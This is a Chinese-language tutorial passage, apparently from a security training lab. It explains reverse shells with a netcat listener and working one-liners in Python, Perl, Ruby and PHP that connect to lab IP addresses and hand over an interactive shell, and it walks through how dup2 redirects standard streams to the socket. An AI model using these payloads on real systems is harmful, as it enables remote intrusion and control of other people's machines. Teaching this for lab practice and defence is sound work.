具体语言实现
先看python的
还是现在主机A上监听,命令nc -lvvp 123
![](http://www.hetianlab.com/headImg.action?guideImg=/93351de4-bc9e-4ba9-9cb9-12362ae3128f.png)
然后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
![](http://www.hetianlab.com/headImg.action?guideImg=/ae8eed1f-a384-48c3-8621-e07ceccf8586.png)
此时在主机A上就收到反弹shell了
![](http://www.hetianlab.com/headImg.action?guideImg=/a001bf8e-73cc-46c5-935f-cca87627c6a7.png)
我们分析下这段脚本的内容
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123)) 建立socket连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数
fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。
Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向
这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程
p=subprocess.call(['/bin/bash','-i']) 使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动
经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell
其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现
1)perl语言的
perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
![](http://www.hetianlab.com/headImg.action?guideImg=/850dc845-3f8c-4fde-bd49-7769546bd22b.png)
![](http://www.hetianlab.com/headImg.action?guideImg=/15aa5298-afe1-47f0-8a6c-7b42edb8db86.png)
2)ruby语言的
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
![](http://www.hetianlab.com/headImg.action?guideImg=/82e80cca-88cc-4f59-a039-257845b616cf.png)
![](http://www.hetianlab.com/headImg.action?guideImg=/22470cc4-d70b-48fb-9be3-05e670dbace5.png)
3)php语言
最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令
php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。
![](http://www.hetianlab.com/headImg.action?guideImg=/7b8b6555-6d03-435b-bb63-7d67714cf1e4.png)
![](http://www.hetianlab.com/headImg.action?guideImg=/bf1d873a-cff8-4805-8e62-0f7e7348f214.png)